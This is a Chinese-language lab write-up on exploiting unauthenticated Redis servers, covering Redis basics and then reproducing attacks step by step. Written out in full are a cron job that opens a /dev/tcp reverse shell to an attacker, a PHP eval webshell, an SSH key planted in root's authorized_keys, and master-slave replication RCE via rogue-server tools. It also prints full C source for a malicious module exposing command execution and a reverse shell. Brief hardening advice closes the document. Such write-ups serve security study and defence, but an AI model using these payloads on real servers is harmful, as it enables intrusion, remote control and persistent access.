redis基础知识

redis是一个非常快速的、开源的、支持网络、可基于内存亦可持久化的日志型、非关系类型的.Key-Value数据库,并提供多种语言的API。它提供了Java,C/C++,C#,PHP,JavaScript,PerlObject-C,Python,Ruby,Erlang等客户端,使用很方便。

与MySQL数据库不同的是,Redis的数据是存在内存中的。它的读写速度非常快,每秒可以处理超过10万次读写操作。因此redis被广泛应用于缓存,另外,Redis也经常用来做分布式锁。除此之外,Redis支持事务、持久化、LUA 脚本、LRU 驱动事件、多种集群方案。

一些常用的命令

set xz "Hacker"          # 设置键xz的值为字符串Hacker
get xz # 获取键xz的内容
info # 获取服务器的各种信息和统计数据比如服务器当前的状态、统计信息、配置参数、客户端连接情况等,我们还可以获取特定信息,比如info memory只获取内存信息
SET score 857 # 设置键score的值为857
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
config set protected-mode no # 关闭安全模式
get anotherkey # 获取一个不存在的键的值
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
slaveof ip port # 设置主从关系
redis-cli -h ip -p 6379 -a passwd # 外部连接
flushdb # 清空当前数据库的所有 key
module load /path/to/your/module.so # 用来加载自定义的模块文件,通常是so文件,/path/to/your/module.so 替换为你实际的模块文件路径
module list #列出已经加载的模块

不过module加载模块有些redis版本是不支持的

redis相关的数据库配置

redis数据库相关的配置可以在**/etc/redis/redis.conf**文件里面进行设置

port

格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。

image-20240330103644314

bind

格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.1.100 10.0.0.1,表允许192.168.1.100和10.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接,就是白名单形式。

image-20240330103720889

save

格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:
save 900 1
save 300 10
save 60 10000
表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。

image-20240330103908193

requirepass

格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。

image-20240330104550773

默认不设置密码这也是未授权访问的重要原因

dir

格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。

image-20240330104712001

dbfilename

格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。

image-20240330104849575

config

通过config命令可以读取和设置dir参数以及dbfilename参数,后面很多攻击方式都会需要用到该命令,所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。

image-20240330105533934

protected-mode

redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。

image-20240330105721000

redis未授权访问漏洞

redis未授权访问漏洞是一个由于redis服务版本较低其未设置登录密码导致的漏洞,攻击者可直接利用redis服务器的ip地址和端口完成redis服务器的远程登录,对目标服务器完成后续的控制和利用。

漏洞成因

  1. redis版本为4.x/5.0.5以前的版本
  2. redis绑定在0.0.0.0:6379端口,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接博暴露在公网。
  3. 没有设置认证密码(一般为空),可以免密码远程登陆redis服务。

漏洞导致的危害

  1. 攻击者可以通过redis的命令来向目标服务器写入计划任务进行反弹shell
  2. 攻击者可以通过命令向网站目录写入webshell来进行控制网站服务器
  3. 最严重的情况,如果目标机器是以root身份登录的服务器并且开启了redis,黑客就可以直接利用该账号的权限写入SSH公钥文件,直接通过SSH登录受害者的服务器。

漏洞复现

漏洞环境搭建

这里我的受害机是ubuntu,攻击机是kali

1.直接安装redis
sudo apt install redis

2.关闭一下防火墙
iptables -F

3.将bind的绑定地址设定为0.0.0.0可以使其暴露在公网上面
bind 0.0.0.0

4.重启一下redis服务
systemctl restart redis

image-20240330125500798

然后直接漏洞利用即可

在攻击机上用redis-cli连接即可

redis-cli -h <受害机的IP> -p 6379

image-20240330125617710

下面就是一些利用该漏洞所进行的进一步攻击操作

写入计划任务反弹shell

计划任务相关文件的粗放位置

/etc/crontab:这是系统范围的 cron 配置文件,其中包含了系统级别的计划任务的设置。

/etc/cron.d/:这个目录用于存放系统级别的 cron 任务配置文件。

/etc/cron.daily/:该目录包含了每日执行的计划任务。

/etc/cron.weekly/:这个目录用于存放每周执行的计划任务。

/etc/cron.monthly/:包含了每月执行的计划任务。

/var/spool/cron/ 或 /var/spool/cron/crontabs/:这个目录通常包含用户特定的 crontab 文件,用户可以在其中定义自己的计划任务。

用户家目录下的 .crontab 或 .cronjobs:用户可以在自己的家目录下创建名为 .crontab 或 .cronjobs 的文件,以定义自己的计划任务。

这里再了解一下计划任务的写入形式,当我们crontab -e写入计划任务的时候,会在计划任务的目录下创建一个以用户名命名的文件,所以我们等会redis写入文件时保存的文件名也要是以用户名命名的文件

image-20240330132520323

image-20240330132538445

写入计划任务

利用思路:

我们连接之后就要利用config修改文件的保存路径为计划任务的路径,然后写入计划任务(emmm写入失败了,说权限不够,可能是ubuntu用了普通用户启动redis,但是Ubuntu换root登录又要折腾,我这里直接换centos了)

==centos安装redis==

yum update #更新安装包
yum install epel-release # 安装 EPEL 软件库:Redis 软件包通常在 EPEL 软件库中
yum install redis
sudo systemctl start redis #启动redis服务
sudo systemctl enable redis # 用于设置开机自启动,看需求选择

然后和上面一样修改配置文件,centos的redis配置文件的路径为/etc/redis.conf

然后再关一下防火墙

iptables -F
setenforce 0 # 改变SELinux的工作模式,SELinux是一种在 Linux 操作系统上实现强制访问控制(MAC)的安全机制;
systemctl stop firewalld.service #centos中特有的防火墙

SELinux有三种工作模式:

  1. Enforcing Mode(强制模式):在这个模式下,SELinux会强制执行所有定义的安全策略,如果有违反策略的操作发生,会被阻止并记录到日志中。在强制模式下,SELinux会严格限制系统资源的访问。表示为1
  2. Permissive Mode(宽容模式):在这个模式下,SELinux会记录违反安全策略的操作,但不会阻止它们,这样可以帮助管理员了解哪些操作可能会违反策略。这个模式类似于监控模式。表示为0
  3. Disabled Mode(禁用模式):在这个模式下,SELinux完全被禁用,系统不会应用任何SELinux的安全策略。要设置关闭的话就需要修改”/etc/sysconfig/selinux”配置文件

可以使用getenforce查看当前工作模式

image-20240330141233651

又写不进去还是会报下面的错我就奇怪了

image-20240330143126682

去搜了搜发现即使为root身份,redis他自己也不是以root身份登录的,要从配置文件启动才能以root身份登录,坑死了,所以要先systemctl stop redis来停掉redis服务,要我们来自己启动

/usr/bin/redis-server /etc/redis.conf //直接redis-server启动会开启保护模式也改不了目录

image-20240330143530956

然后终于可以愉快地写计划任务了

config set dir /var/spool/cron   #这个要看具体系统的目录
config set dbfilename root
set xxoo "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/<攻击者ip>/<监听端口> 0>&1\n\n" #这里的换行是为了保证格式正确,如果目标机器上有很多的计划任务可能会导致写入的反弹sehll格式错误。
save #进行一次备份来写入文件当中

image-20240330143734305

然后nc -lvvp 6666开启监听等待即可

image-20240330144612655

反弹shell成功,可以看一下我们写进去的计划任务长什么样

image-20240330144654223

这个方法只能Centos上使用,Ubuntu上行不通,原因如下:

  1. 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
  2. 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

写入webshell控制服务器

  1. 这里我们先用centos快速搭建一个LAMP的环境用于解析我们上传的php一句话木马
# 安装apache服务器
sudo yum install httpd
sudo systemctl start httpd
sudo systemctl enable httpd
# 安装mysql数据库
sudo yum install mysql mysql-server
sudo systemctl start mysqld
sudo systemctl enable mysqld
sudo mysql_secure_installation # MySQL 提供的实用工具,用于执行一些安全设置和配置以加固 MySQL 数据库的安全性
# 安装php
sudo yum install php php-mysql
  1. 开始写入我们的webshell
config set dir /var/www/html
config set dbfilename shell.php
set shell "<?php eval($_POST[shell])?>"
save

image-20240330150154116

然后我们去访问一下shell.php

image-20240330150249714

上面的内容是我们上次设置的定时任务数据,一起save了进去,接下来用蚁剑去连接一下

image-20240330150436847

连接成功可以看到目录下的文件

写入ssh-keygen公钥登录服务器漏洞

SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。

密钥验证就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:

  1. 客户端生成私钥和公钥,将公钥拷贝给服务器端
  2. 客户端发起登录请求
  3. 服务器端根据客户端发来的信息查找是否存有该客户端的公钥,
  4. 客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证
  5. 服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对

攻击者本地生成密钥对

ssh-keygen -t rsa  # 在家目录的.ssh下进行生成

image-20240330151056696

向受害者机器写入公钥

config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\n\n<生成的公钥>\n\n\n" #换行是为了避免和其他数据混合保证格式正确,和上面的计划任务一样
save

image-20240330151540903

然后使用ssh登录目标机器,在.ssh目录下用私钥登录

ssh -i id_rsa root@<目标机器ip>

image-20240330151831267

成功登录!

主从复制RCE

主从复制介绍

主从复制的传输分为全量传输和增量传输,这里的重点是全量传输:全量传输是将数据库备份文件整个传输过去,然后从节点清空内存数据库,将备份文件加载到数据库中。

这里从别人的文章偷个流程图方便理解:

image-20240330225328187

漏洞原理

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出,so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNG同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

因为redis可以加载外部模块,而外部模块都是so文件的形式,可以使用编辑redis配置文件的方式来加载模块,文件里面也给了我们示例

image-20240330170245773

漏洞利用

漏洞利用我们需要用到下面的两个工具

使用第一个工具远程主从复制RCE

python3 redis-rogue-server.py --rhost  --rport  --lhost  --lport 

参数说明:

-–rpasswd 如果目标 Redis 服务开启了认证功能,可以通过该选项指定密码(没尝试过不知道行不行)

-–rhost 目标 redis 服务 IP

-–rport 目标 redis 服务端口,默认为 6379

-–lhost vps 的 IP 地址

-–lport vps 的端口,默认为 21000

image-20240330171342499

可以看到已经成功访问,我们可以用i选择一个交互式shell或者r反弹一个shell(这时候要再开启一个监听端口)

image-20240330171502308

emmm这个交互式的shell好像有点拉,接下来换反弹shell试试,发现弹不了失败了,感觉是我本地安装的redis版本过高了,这个脚本的使用版本是<=5.0.5,然后取volfocus开了一个5.0版本的环境就成功了

image-20240330223708742

可以看到成功反弹了一个shell回来,这是后我们还可以用python来生成一个交互式的shell

python -c 'import pty;pty.spawn("/bin/bash")'

不过开的这个容器没有python生成不了(

本地Redis主从复制RCE反弹shell

漏洞原理:对于只允许本地连接的Redis服务器,可以通过开启主从模式从远程主机上同步恶意.so文件至本地,接着载入恶意.so文件模块,反弹shell至远程主机。

步骤可以总结如下:

  • 第一步,我们伪装成redis数据库,然后受害者将我们的数据库设置为主节点。
  • 第二步,我们设置备份文件名为so文件
  • 第三步,设置传输方式为全量传输
  • 第四步,加载恶意so文件,实现任意命令执行

我们需要将redis-rogue-server的exp.so复制到Awsome-Redis-Rogue-Server的目录下进行使用,因为他的exp.so是带system模块的

image-20240330230929601

攻击机先执行下面的命令伪造一个master

python3 redis_rogue_server.py -v -path exp.so

image-20240330232215843

我们连接上受害者机器之后执行下面的命令修改一下文件

config set dir /tmp #一般/tmp目录都有权限写入,所以选择这个目录写入
config set dbfilename exp.so #设置导出文件名
slaveof <我们伪造的主机master的ip> <端口号> #进行主从同步,将恶意so文件写入到tmp目录
module load ./exp.so #加载写入的恶意so文件模块
module list #查看恶意so有没有加载成功,主要看有没有system模块
system.rev <攻击者ip> <监听端口> #这样就可以反弹一个shell回来了

可以先看一下我们同步之前是没有模块的

image-20240330232527628

我们同步之后再看一下

image-20240330233258551

最后监听端口进行反弹shell

image-20240330233419607

可以看到我们的当前目录就是在/tmp下

了解一下外部模块原理

大概说一下模块编写的实现流程:

首先需要的是初始化,以便让框架可以找到对应的方法,这就需要进行注册,Redis通过RedisModule_Init方法进行注册模块,和RedisModule_CreateCommand注册自定义方法。

Redis导出了redismodule.h头文件,通过实现该头文件相关API函数,然后编译为so动态库即可,可以在配置文件中使用loadmodule指明,也可以在运行时使用命令动态加载(MODULE LOAD)。

我们可以看一下上面给我们的工具里的exp.so,他就是由一个exp.c编译而来,我们来看看里面的内容

#include "redismodule.h"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int DoCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc == 2) {
size_t cmd_len;
size_t size = 1024;
char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);

FILE *fp = popen(cmd, "r");
char *buf, *output;
buf = (char *)malloc(size);
output = (char *)malloc(size);
while ( fgets(buf, sizeof(buf), fp) != 0 ) {
if (strlen(buf) + strlen(output) >= size) {
output = realloc(output, size<<2);
size <<= 1;
}
strcat(output, buf);
}
RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
RedisModule_ReplyWithString(ctx, ret);
pclose(fp);
} else {
return RedisModule_WrongArity(ctx);
}
return REDISMODULE_OK;
}

int RevShellCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc == 3) {
size_t cmd_len;
char *ip = RedisModule_StringPtrLen(argv[1], &cmd_len);
char *port_s = RedisModule_StringPtrLen(argv[2], &cmd_len);
int port = atoi(port_s);
int s;

struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(ip);
sa.sin_port = htons(port);

s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);

execve("/bin/sh", 0, 0);
} else {
return RedisModule_WrongArity(ctx);
}
return REDISMODULE_OK;
}

int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx,"system",1,REDISMODULE_APIVER_1)
== REDISMODULE_ERR) return REDISMODULE_ERR;

if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}

**#include “redismodule.h”**这里就是引入了这个头文件然后实现了其中的API来定义自定义的模块,这个头文件可以从官方仓库源码中找到,里面的内容就不看了,主要来看每个模块是怎么编写的

上面有三个函数RedisModule_OnLoad,RevShellCommand,DoCommand

RevShellCommand:该函数是 system.rev 命令的实现。当传入的参数个数为3时,它会获取第二个参数作为IP地址,第三个参数作为端口号。然后,它创建一个套接字,并连接到指定的IP地址和端口。接下来,它将标准输入、输出和错误重定向到套接字,并执行 /bin/sh,从而创建一个反向 shell。

DoCommand:该函数是 system.exec 命令的实现。当传入的参数个数为2时,它会获取第二个参数作为命令字符串,并使用 popen 函数执行该命令,获取命令的输出。然后,它将命令的输出作为字符串回复给客户端。

RedisModule_OnLoad:该函数是模块加载函数。在这个函数中,模块进行了初始化,并创建了两个命令:system.execsystem.rev。这些命令分别与对应的处理函数 DoCommandRevShellCommand 关联起来。这样,当客户端在Redis中执行这些命令时,相应的处理函数将被调用。

RedisModule_Init:该函数用于创建一个新的Redis命令,以创建system.exec为例,它接受七个参数:ctx 是Redis模块上下文指针,”system.exec” 是命令的名称,DoCommand 是处理该命令的函数指针,”readonly” 是命令的标识符,1 是命令的键和参数的个数,1 是命令的名字和参数的个数,1 是命令的复杂度。如果命令创建失败,函数将返回 REDISMODULE_ERR

安全防护

redis的安全设置:设置完毕,需要重新加载配置文件启动redis。

  1. 绑定内网ip
  2. requirepass设置redis密码
  3. 开启保护模式(protected-mode)
  4. 最好更改一下默认端口
  5. 单独为redis设置一个普通账号,启动redis